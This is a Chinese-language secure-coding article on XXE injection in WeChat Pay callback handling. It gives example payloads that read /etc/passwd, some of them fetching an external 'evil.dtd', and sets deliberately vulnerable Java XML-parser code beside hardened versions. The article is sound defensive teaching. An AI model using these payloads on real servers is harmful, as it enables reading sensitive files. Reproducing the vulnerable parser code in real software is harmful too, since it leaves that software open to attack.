1. 背景 商户系统采用微信支付时,当用户支付完成之后,微信支付平台会以 xml 字符串文本回调通知商户系统此次支付是否成功。显然,商户系统首先需要解析 xml 字符串,但是需要注意的是,可能存在恶意程序伪造微信支付平台的回调通知请求,发送恶意的 xml 字符文本。当商户系统解析 xml 文本时,可能引起 xxe 注入攻击。
与 sql 注入攻击和 xss 跨站脚本攻击类似,xxe 是一种 xml 注入攻击。xml 本身采用 DTD(文档类型定义)来定义约束 xml 文档的文档结构。DTD 中的实体 可引用外部声明,比如引用外部的 dtd 文件等,那么在引用外部实体可能就存在恶意的引入隐患。
2. XEE XML 外部实体注入,XXE 漏洞发生在应用程序解析 XML 输入时,XML 文件的解析依赖 libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML 文件时,未对 XML 文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的 URL 支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。
XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件
那么如何构建外部实体注入呢?
示例1:直接通过DTD外部实体声明
1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a > &b;</a >
示例2:(一般实体) 通过 DTD 外部实体声明引入外部 DTD 文档,再引入外部实体声明
1 2 3 4 5 6 7 8 <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd"> ]> <a > &b;</a > <!ENTITY b SYSTEM "file: ///etc /passwd ">
示例3:(参数实体) 通过 DTD 外部实体声明引入外部 DTD 文档,再引入外部实体声明
1 2 3 4 5 6 7 8 <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd"> ]> <a > %b;</a > <!ENTITY b SYSTEM "file: ///etc /passwd ">
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
3. 防御 读取外部传入 XML 文件时,XML 解析器初始化过程中设置关闭 DTD 解析。
常见的 XML 解析方式有以下五种:
DOM
SAX
JDOM
DOM4J
DocumentHelper
工具类这五种 XML 解析方式各自的用法如下:
DOM
错误示例:
1 2 3 4 5 6 7 8 9 10 11 @RequestMapping ("/xxe" )public void test (String xmlstr) throws IOException { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); DocumentBuilder builder = factory.newDocumentBuilder(); builder.parse(is); } catch (Exception e) { e.printStackTrace(); } }
安全案例参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @RequestMapping ("/no_xxe" )public void test (String xmlstr) throws IOException { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); try { factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); factory.setFeature("http://xml.org/sax/features/external-general-entities" , false ); factory.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); DocumentBuilder builder = factory.newDocumentBuilder(); builder.parse(is); } catch (Exception e) { e.printStackTrace(); } }
SAX
错误示例:
1 2 3 4 5 6 7 8 9 10 11 @RequestMapping ("/xxe" )public void test (String xmlstr) throws IOException { try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); SAXParser saxParser = saxParserFactory.newSAXParser(); saxParser.parse(is, new DefaultHandler()); } catch (Exception e) { e.printStackTrace(); } }
安全案例参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @RequestMapping ("/no_xxe" )public void test (String xmlstr) throws IOException { try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); saxParserFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); saxParserFactory.setFeature("http://xml.org/sax/features/external-general-entities" , false ); saxParserFactory.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); SAXParser saxParser = saxParserFactory.newSAXParser(); saxParser.parse(is, new DefaultHandler()); } catch (Exception e) { e.printStackTrace(); } }
JDOM
错误示例:
1 2 3 4 5 6 7 8 9 10 @RequestMapping ("/xxe" )public void test (String xmlstr) throws IOException { try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); SAXBuilder saxBuilder = new SAXBuilder(); saxBuilder.build(is); } catch (Exception e) { e.printStackTrace(); } }
安全案例参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @RequestMapping ("/no_xxe" )public void test (String xmlstr) throws IOException { try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); SAXBuilder saxBuilder = new SAXBuilder(); saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl" ,true ); saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities" , false ); saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); saxBuilder.build(is); } catch (Exception e) { e.printStackTrace(); } }
DOM4J
错误示例:
1 2 3 4 5 6 7 8 9 10 11 @RequestMapping ("/xxe" )public void test (String xmlstr) throws IOException { try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); SAXReader saxReader = new SAXReader(); saxReader.setValidation(false ); saxReader.read(is); } catch (Exception e) { e.printStackTrace(); } }
安全案例参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @RequestMapping ("/no_xxe" )public void test (String xmlstr) throws IOException { try { InputStream is = new ByteArrayInputStream(xmlstr.getBytes()); SAXReader saxReader = new SAXReader(); saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); saxReader.setFeature("http://xml.org/sax/features/external-general-entities" , false ); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); saxReader.setValidation(false ); saxReader.read(is); } catch (Exception e) { e.printStackTrace(); } }
DocumentHelper工具类
DocumentHelper
是DOM4J
中的一个工具类,使用起来很方便,但是老版本的 DOM4J 中这个工具类存在 XXE 漏洞,需要使用2.1.1
及以上的安全版本
DocumentHelper 工具类用法:
1 2 3 4 5 6 7 8 @RequestMapping ("/parse_xml" )public void test (String xmlstr) throws IOException { try { Document uploadDocument = DocumentHelper.parseText(xmlstr); } catch (Exception e) { e.printStackTrace(); } }